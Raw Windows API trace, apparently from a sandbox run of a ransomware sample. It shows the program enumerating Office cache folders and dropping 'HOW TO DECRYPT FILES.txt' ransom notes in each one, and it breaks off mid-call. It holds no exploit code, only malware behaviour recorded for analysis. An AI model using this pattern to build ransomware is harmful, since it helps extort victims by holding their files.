lstrcmpA (lpString1="..", lpString2="..") returned 0 [0057.753] FindNextFileA (in: hFindFile=0x4f7048, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x308ae9f0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x308ae9f0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0xa5b55ce0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x265400, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="ProjectMUI.msi", cAlternateFileName="PROJEC~1.MSI")) returned 1 [0057.753] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0057.753] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ProjectMUI.msi") returned -1 [0057.753] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ProjectMUI.msi") returned -1 [0057.753] lstrcmpiA (lpString1="", lpString2="ProjectMUI.msi") returned -1 [0057.753] PathFindFileNameA (pszPath="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\*.*") returned="*.*" [0057.753] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\") returned="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\" [0057.753] PathAddBackslashA (in: pszPath="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\" | out: pszPath="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\") returned="" [0057.753] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt") returned="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt" [0057.753] GetFileAttributesA (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\how to decrypt files.txt")) returned 0xffffffff [0057.753] CreateFileA (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x88 [0057.755] SetFileTime (hFile=0x88, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0057.755] CloseHandle (hObject=0x88) returned 1 [0057.755] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\", lpString2="ProjectMUI.msi" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi" [0057.756] FindNextFileA (in: hFindFile=0x4f7048, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x30a2b7b0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x30a2b7b0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0xa5b2ebe0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0x0, dwReserved1=0x4f97b8, cFileName="ProjectMUI.xml", cAlternateFileName="PROJEC~1.XML")) returned 1 [0057.756] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0057.756] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ProjectMUI.xml") returned -1 [0057.756] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ProjectMUI.xml") returned -1 [0057.756] lstrcmpiA (lpString1="", lpString2="ProjectMUI.xml") returned -1 [0057.756] PathFindFileNameA (pszPath="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned="ProjectMUI.msi" [0057.756] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\") returned="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\" [0057.756] PathAddBackslashA (in: pszPath="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\" | out: pszPath="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\") returned="" [0057.756] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt") returned="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt" [0057.756] GetFileAttributesA (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\how to decrypt files.txt")) returned 0x2020 [0057.756] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\", lpString2="ProjectMUI.xml" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml" [0057.756] FindNextFileA (in: hFindFile=0x4f7048, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x30306de0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x30306de0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0xa5b7cde0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x7e1dcd, dwReserved0=0x780074, dwReserved1=0x74, cFileName="ProjLR.cab", cAlternateFileName="")) returned 1 [0057.756] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0057.756] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ProjLR.cab") returned -1 [0057.757] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ProjLR.cab") returned -1 [0057.757] lstrcmpiA (lpString1="", lpString2="ProjLR.cab") returned -1 [0057.757] PathFindFileNameA (pszPath="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned="ProjectMUI.xml" [0057.757] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\") returned="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\" [0057.757] PathAddBackslashA (in: pszPath="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\" | out: pszPath="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\") returned="" [0057.757] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt") returned="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt" [0057.757] GetFileAttributesA (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\how to decrypt files.txt")) returned 0x2020 [0057.757] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\", lpString2="ProjLR.cab" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab" [0057.757] FindNextFileA (in: hFindFile=0x4f7048, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x309dfcc0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x309dfcc0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0xa5bc88d0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x750, dwReserved0=0x780074, dwReserved1=0x74, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0057.757] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0057.757] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Setup.xml") returned -1 [0057.757] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Setup.xml") returned -1 [0057.757] lstrcmpiA (lpString1="", lpString2="Setup.xml") returned -1 [0057.757] PathFindFileNameA (pszPath="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned="ProjLR.cab" [0057.757] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\") returned="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\" [0057.757] PathAddBackslashA (in: pszPath="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\" | out: pszPath="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\") returned="" [0057.757] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt") returned="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt" [0057.758] GetFileAttributesA (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\how to decrypt files.txt")) returned 0x2020 [0057.758] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\", lpString2="Setup.xml" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml" [0057.758] FindNextFileA (in: hFindFile=0x4f7048, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x309dfcc0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x309dfcc0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0xa5bc88d0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x750, dwReserved0=0x780074, dwReserved1=0x74, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0057.758] FindClose (in: hFindFile=0x4f7048 | out: hFindFile=0x4f7048) returned 1 [0057.758] FindNextFileA (in: hFindFile=0x4f7088, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee803530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="{90140000-00BA-0409-1000-0000000FF1CE}-C", cAlternateFileName="{90140~4")) returned 1 [0057.758] lstrcmpA (lpString1=".", lpString2="{90140000-00BA-0409-1000-0000000FF1CE}-C") returned -1 [0057.758] lstrcmpA (lpString1="..", lpString2="{90140000-00BA-0409-1000-0000000FF1CE}-C") returned -1 [0057.758] PathFindFileNameA (pszPath="C:\\MSOCache\\All Users\\*.*") returned="*.*" [0057.758] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\", lpString2="{90140000-00BA-0409-1000-0000000FF1CE}-C" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C") returned="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C" [0057.758] FindFirstFileA (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee803530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x780074, dwReserved1=0x74, cFileName=".", cAlternateFileName="")) returned 0x4f7048 [0057.762] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0057.762] FindNextFileA (in: hFindFile=0x4f7048, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee803530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.762] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0057.762] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0057.762] FindNextFileA (in: hFindFile=0x4f7048, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee4bb7b0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x3e7e1f, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="GrooveLR.cab", cAlternateFileName="")) returned 1 [0057.762] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0057.762] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="GrooveLR.cab") returned -1 [0057.762] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="GrooveLR.cab") returned 1 [0057.762] lstrcmpiA (lpString1="", lpString2="GrooveLR.cab") returned -1 [0057.762] PathFindFileNameA (pszPath="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\*.*") returned="*.*" [0057.762] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\") returned="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\" [0057.763] PathAddBackslashA (in: pszPath="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\" | out: pszPath="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\") returned="" [0057.763] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt") returned="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt" [0057.763] GetFileAttributesA (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\how to decrypt files.txt")) returned 0xffffffff [0057.763] CreateFileA (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x88 [0057.766] SetFileTime (hFile=0x88, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0057.766] CloseHandle (hObject=0x88) returned 1 [0057.766] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\", lpString2="GrooveLR.cab" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab" [0057.766] FindNextFileA (in: hFindFile=0x4f7048, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee3b15e0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x264400, dwReserved0=0x0, dwReserved1=0x4f97b8, cFileName="GrooveMUI.msi", cAlternateFileName="GROOVE~1.MSI")) returned 1 [0057.766] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0057.766] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="GrooveMUI.msi") returned -1 [0057.766] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="GrooveMUI.msi") returned 1 [0057.767] lstrcmpiA (lpString1="", lpString2="GrooveMUI.msi") returned -1 [0057.767] PathFindFileNameA (pszPath="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned="GrooveLR.cab" [0057.767] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\") returned="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\" [0057.767] PathAddBackslashA (in: pszPath="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\" | out: pszPath="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\") returned="" [0057.767] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt") returned="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt" [0057.767] GetFileAttributesA (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\how to decrypt files.txt")) returned 0x2020 [0057.767] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\", lpString2="GrooveMUI.msi" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi" [0057.767] FindNextFileA (in: hFindFile=0x4f7048, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x391, dwReserved0=0x780074, dwReserved1=0x74, cFileName="GrooveMUI.xml", cAlternateFileName="GROOVE~1.XML")) returned 1 [0057.767] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0057.767] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="GrooveMUI.xml") returned -1 [0057.767] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="GrooveMUI.xml") returned 1 [0057.767] lstrcmpiA (lpString1="", lpString2="GrooveMUI.xml") returned -1 [0057.767] PathFindFileNameA (pszPath="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned="GrooveMUI.msi" [0057.767] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\") returned="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\" [0057.767] PathAddBackslashA (in: pszPath="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\" | out: pszPath="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\") returned="" [0057.767] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt") returned="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt" [0057.768] GetFileAttributesA (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\how to decrypt files.txt")) returned 0x2020 [0057.768] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\", lpString2="GrooveMUI.xml" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml" [0057.768] FindNextFileA (in: hFindFile=0x4f7048, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0x780074, dwReserved1=0x74, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0057.768] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0057.768] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Setup.xml") returned -1 [0057.768] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Setup.xml") returned -1 [0057.768] lstrcmpiA (lpString1="", lpString2="Setup.xml") returned -1 [0057.768] PathFindFileNameA (pszPath="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned="GrooveMUI.xml" [0057.768] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\") returned="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\" [0057.768] PathAddBackslashA (in: pszPath="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\" | out: pszPath="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\") returned="" [0057.768] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt") returned="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt" [0057.768] GetFileAttributesA (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\how to decrypt files.txt")) returned 0x2020 [0057.768] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\", lpString2="Setup.xml" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") 